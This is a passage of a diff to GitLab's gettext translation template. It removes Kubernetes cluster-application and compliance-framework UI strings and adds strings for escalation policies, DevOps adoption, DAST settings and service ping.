msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
